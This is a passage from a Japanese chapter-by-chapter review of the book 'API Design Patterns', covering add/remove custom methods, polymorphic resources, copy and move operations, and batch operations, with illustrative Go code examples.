methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \\"text\\" ImageMessage MessageType = \\"image\\" AudioMessage MessageType = \\"audio\\")type Message struct { ID string `json:\\"id\\"` Type MessageType `json:\\"type\\"` Sender string `json:\\"sender\\"` Timestamp time.Time `json:\\"timestamp\\"` Content interface{} `json:\\"content\\"`}type TextContent struct { Text string `json:\\"text\\"`}type ImageContent struct { URL string `json:\\"url\\"` Width int `json:\\"width\\"` Height int `json:\\"height\\"`}type AudioContent struct { URL string `json:\\"url\\"` Duration float64 `json:\\"duration\\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\\"invalid content for text message\\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\\"invalid content for image message\\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\\"invalid content for audio message\\") } default: return errors.New(\\"unknown message type\\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\\"sourceId\\"` DestinationID string `json:\\"destinationId,omitempty\\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \\"\\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based 